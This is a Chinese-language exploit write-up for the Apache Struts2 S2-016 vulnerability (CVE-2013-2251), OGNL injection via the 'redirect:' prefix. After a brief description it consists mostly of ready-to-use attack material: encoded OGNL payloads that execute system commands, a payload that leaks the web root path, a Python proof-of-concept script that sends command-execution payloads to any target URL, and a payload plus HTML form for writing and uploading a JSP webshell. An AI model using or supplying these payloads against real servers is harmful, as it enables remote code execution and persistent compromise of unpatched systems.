（CVE-2013-2251）s2-016¶

一、漏洞简介¶

DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令

二、漏洞影响¶

Struts2.0.0 - Struts2.3.15

三、复现过程¶

图片.png

任意命令执行

redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D

?redirect:
${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}

爆网站路径EXP

 ?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

python执行任意命令poc

import urllib2,sys,re

def get(url, data):
    string = url + "?" + data
    req = urllib2.Request("%s"%string)
    response = urllib2.urlopen(req).read().strip()
    print strip(response)

def strip(str):
   tmp = str.strip()
   blank_line=re.compile('\x00')
   tmp=blank_line.sub('',tmp)
   return tmp

if __name__ == '__main__':
    url = sys.argv[1]
    cmd = sys.argv[2]
    cmd1 = sys.argv[3]
    attack="redirect:${%%23a%%3d(new%%20java.lang.ProcessBuilder(new%%20java.lang.String[]{'%s','%s'})).start(),%%23b%%3d%%23a.getInputStream(),%%23c%%3dnew%%20java.io.InputStreamReader(%%23b),%%23d%%3dnew%%20java.io.BufferedReader(%%23c),%%23e%%3dnew%%20char[50000],%%23d.read(%%23e),%%23matt%%3d%%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%%23matt.getWriter().println(%%23e),%%23matt.getWriter().flush(),%%23matt.getWriter().close()}"%(cmd,cmd1)
    get(url,attack)

GETSHELL EXP

?redirect:${
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
%23p%3d(%23req.getRealPath(%22/%22)%2b%22test.jsp%22).replaceAll("\\\\", "/"),
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%

然后用以下代码写shell:

<form action="http://baidu.com/acdap/test.jsp?f=1.jsp&quot; method="post">
<textarea >code</textarea>
<input type=submit value="提交">
</form>

上传目录生成1.jsp